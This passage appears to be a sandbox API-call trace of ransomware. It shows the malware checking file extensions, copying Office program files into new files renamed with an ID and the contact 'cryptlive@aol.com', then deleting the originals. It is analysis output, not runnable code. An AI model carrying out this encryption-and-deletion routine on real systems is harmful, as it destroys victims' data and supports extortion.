(lpString1=".rar", lpString2=".DLL") returned 1 [0143.982] lstrlenW (lpString=".bz2") returned 4 [0143.982] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0143.982] lstrlenW (lpString=".7z") returned 3 [0143.982] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0143.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0143.982] lstrlenW (lpString=".dbf") returned 4 [0143.982] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0143.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0143.982] lstrlenW (lpString=".1cd") returned 4 [0143.982] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0143.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0143.982] lstrlenW (lpString=".jpg") returned 4 [0143.982] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0143.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0143.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0143.982] lstrlenW (lpString=".doc") returned 4 [0143.982] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0143.982] lstrlenW (lpString=".docx") returned 5 [0143.982] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0143.983] lstrlenW (lpString=".pdf") returned 4 [0143.983] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0143.983] lstrlenW (lpString=".xls") returned 4 [0143.983] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0143.983] lstrlenW (lpString=".xlsx") returned 5 [0143.983] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0143.983] lstrlenW (lpString=".ppt") returned 4 [0143.983] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0143.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0143.983] lstrlenW (lpString=".zip") returned 4 [0143.983] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0143.983] lstrlenW (lpString=".rar") returned 4 [0143.983] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0143.983] lstrlenW (lpString=".bz2") returned 4 [0143.983] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0143.983] lstrlenW (lpString=".7z") returned 3 [0143.983] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0143.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0143.983] lstrlenW (lpString=".dbf") returned 4 [0143.983] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0143.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0143.983] lstrlenW (lpString=".1cd") returned 4 [0143.983] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0143.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0143.983] lstrlenW (lpString=".jpg") returned 4 [0143.983] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0143.984] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0143.984] lstrlenW (lpString="OMSINTL.DLL.IDX_DLL") returned 19 [0143.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.985] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=24960) returned 1 [0143.985] CloseHandle (hObject=0x388) returned 1 [0143.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll")) returned 0x20 [0143.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.985] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.985] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0143.987] GetLastError () returned 0x0 [0143.987] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x6180, lpOverlapped=0x0) returned 1 [0143.989] WriteFile (in: hFile=0x3a8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x6190, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x6190, lpOverlapped=0x0) returned 1 [0143.990] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.990] WriteFile (in: hFile=0x3a8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0143.990] SetEndOfFile (hFile=0x3a8) returned 1 [0143.991] CloseHandle (hObject=0x3a8) returned 1 [0143.991] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.991] SetEndOfFile (hFile=0x388) returned 1 [0143.993] CloseHandle (hObject=0x388) returned 1 [0143.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll")) returned 1 [0143.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0143.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0143.994] lstrlenW (lpString=".doc") returned 4 [0143.994] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0143.994] lstrlenW (lpString=".docx") returned 5 [0143.994] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0143.994] lstrlenW (lpString=".pdf") returned 4 [0143.994] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0143.994] lstrlenW (lpString=".xls") returned 4 [0143.995] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0143.995] lstrlenW (lpString=".xlsx") returned 5 [0143.995] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0143.995] lstrlenW (lpString=".ppt") returned 4 [0143.995] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0143.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0143.995] lstrlenW (lpString=".zip") returned 4 [0143.995] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0143.995] lstrlenW (lpString=".rar") returned 4 [0143.995] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0143.995] lstrlenW (lpString=".bz2") returned 4 [0143.995] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0143.995] lstrlenW (lpString=".7z") returned 3 [0143.995] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0143.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0143.995] lstrlenW (lpString=".dbf") returned 4 [0143.995] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0143.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0143.995] lstrlenW (lpString=".1cd") returned 4 [0143.995] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0143.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0143.995] lstrlenW (lpString=".jpg") returned 4 [0143.995] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0143.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0143.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0143.995] lstrlenW (lpString=".doc") returned 4 [0143.995] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0143.995] lstrlenW (lpString=".docx") returned 5 [0143.995] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0143.995] lstrlenW (lpString=".pdf") returned 4 [0143.995] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0143.995] lstrlenW (lpString=".xls") returned 4 [0143.995] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0143.995] lstrlenW (lpString=".xlsx") returned 5 [0143.995] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0143.996] lstrlenW (lpString=".ppt") returned 4 [0143.996] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0143.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0143.996] lstrlenW (lpString=".zip") returned 4 [0143.996] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0143.996] lstrlenW (lpString=".rar") returned 4 [0143.996] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0143.996] lstrlenW (lpString=".bz2") returned 4 [0143.996] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0143.996] lstrlenW (lpString=".7z") returned 3 [0143.996] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0143.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0143.996] lstrlenW (lpString=".dbf") returned 4 [0143.996] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0143.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0143.996] lstrlenW (lpString=".1cd") returned 4 [0143.996] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0143.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0143.996] lstrlenW (lpString=".jpg") returned 4 [0143.996] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0143.996] lstrcmpiW (lpString1=".EXE", lpString2=".LIVE") returned -1 [0143.996] lstrlenW (lpString="ONELEV.EXE") returned 10 [0143.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.997] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=57224) returned 1 [0143.997] CloseHandle (hObject=0x388) returned 1 [0143.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe")) returned 0x20 [0143.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0143.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0143.997] lstrlenW (lpString=".doc") returned 4 [0143.997] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0143.997] lstrlenW (lpString=".docx") returned 5 [0143.997] lstrcmpiW (lpString1=".docx", lpString2="V.EXE") returned -1 [0143.997] lstrlenW (lpString=".pdf") returned 4 [0143.997] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0143.997] lstrlenW (lpString=".xls") returned 4 [0143.997] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0143.997] lstrlenW (lpString=".xlsx") returned 5 [0143.997] lstrcmpiW (lpString1=".xlsx", lpString2="V.EXE") returned -1 [0143.997] lstrlenW (lpString=".ppt") returned 4 [0143.997] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0143.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0143.998] lstrlenW (lpString=".zip") returned 4 [0143.998] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0143.998] lstrlenW (lpString=".rar") returned 4 [0143.998] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0143.998] lstrlenW (lpString=".bz2") returned 4 [0143.998] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0143.998] lstrlenW (lpString=".7z") returned 3 [0143.998] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0143.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0143.998] lstrlenW (lpString=".dbf") returned 4 [0143.998] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0143.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0143.998] lstrlenW (lpString=".1cd") returned 4 [0143.998] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0143.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0143.998] lstrlenW (lpString=".jpg") returned 4 [0143.998] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0143.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0143.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0143.998] lstrlenW (lpString=".doc") returned 4 [0143.998] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0144.204] lstrlenW (lpString=".docx") returned 5 [0144.204] lstrcmpiW (lpString1=".docx", lpString2="V.EXE") returned -1 [0144.204] lstrlenW (lpString=".pdf") returned 4 [0144.204] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0144.204] lstrlenW (lpString=".xls") returned 4 [0144.204] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0144.204] lstrlenW (lpString=".xlsx") returned 5 [0144.204] lstrcmpiW (lpString1=".xlsx", lpString2="V.EXE") returned -1 [0144.204] lstrlenW (lpString=".ppt") returned 4 [0144.204] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0144.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0144.204] lstrlenW (lpString=".zip") returned 4 [0144.204] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0144.204] lstrlenW (lpString=".rar") returned 4 [0144.204] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0144.204] lstrlenW (lpString=".bz2") returned 4 [0144.204] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0144.205] lstrlenW (lpString=".7z") returned 3 [0144.205] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0144.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0144.205] lstrlenW (lpString=".dbf") returned 4 [0144.205] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0144.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0144.205] lstrlenW (lpString=".1cd") returned 4 [0144.205] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0144.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0144.205] lstrlenW (lpString=".jpg") returned 4 [0144.205] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0144.205] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0144.205] lstrlenW (lpString="ONINTL.REST.IDX_DLL") returned 19 [0144.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0144.206] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=114560) returned 1 [0144.206] CloseHandle (hObject=0x3ac) returned 1 [0144.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll")) returned 0x20 [0144.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0144.206] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.206] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0144.207] GetLastError () returned 0x0 [0144.207] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x1bf80, lpOverlapped=0x0) returned 1 [0144.211] WriteFile (in: hFile=0x2f8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x1bf90, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x1bf90, lpOverlapped=0x0) returned 1 [0144.214] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.214] WriteFile (in: hFile=0x2f8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0144.214] SetEndOfFile (hFile=0x2f8) returned 1 [0144.214] CloseHandle (hObject=0x2f8) returned 1 [0144.214] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.214] SetEndOfFile (hFile=0x3ac) returned 1 [0144.218] CloseHandle (hObject=0x3ac) returned 1 [0144.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll")) returned 1 [0144.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0144.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0144.219] lstrlenW (lpString=".doc") returned 4 [0144.219] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0144.220] lstrlenW (lpString=".docx") returned 5 [0144.220] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0144.220] lstrlenW (lpString=".pdf") returned 4 [0144.220] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0144.220] lstrlenW (lpString=".xls") returned 4 [0144.220] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0144.220] lstrlenW (lpString=".xlsx") returned 5 [0144.220] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0144.220] lstrlenW (lpString=".ppt") returned 4 [0144.220] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0144.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0144.220] lstrlenW (lpString=".zip") returned 4 [0144.220] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0144.220] lstrlenW (lpString=".rar") returned 4 [0144.220] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0144.220] lstrlenW (lpString=".bz2") returned 4 [0144.220] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0144.220] lstrlenW (lpString=".7z") returned 3 [0144.220] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0144.220] lstrlenW (lpString=".dbf") returned 4 [0144.220] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0144.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0144.220] lstrlenW (lpString=".1cd") returned 4 [0144.220] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0144.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0144.220] lstrlenW (lpString=".jpg") returned 4 [0144.220] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0144.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0144.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0144.220] lstrlenW (lpString=".doc") returned 4 [0144.220] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0144.220] lstrlenW (lpString=".docx") returned 5 [0144.220] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0144.220] lstrlenW (lpString=".pdf") returned 4 [0144.221] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0144.221] lstrlenW (lpString=".xls") returned 4 [0144.221] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0144.221] lstrlenW (lpString=".xlsx") returned 5 [0144.221] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0144.221] lstrlenW (lpString=".ppt") returned 4 [0144.221] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0144.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0144.221] lstrlenW (lpString=".zip") returned 4 [0144.221] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0144.221] lstrlenW (lpString=".rar") returned 4 [0144.221] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0144.221] lstrlenW (lpString=".bz2") returned 4 [0144.221] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0144.221] lstrlenW (lpString=".7z") returned 3 [0144.221] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0144.221] lstrlenW (lpString=".dbf") returned 4 [0144.221] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0144.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0144.221] lstrlenW (lpString=".1cd") returned 4 [0144.221] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0144.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0144.221] lstrlenW (lpString=".jpg") returned 4 [0144.221] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0144.221] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0144.221] lstrlenW (lpString="ORGCH.VRD") returned 9 [0144.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd"), 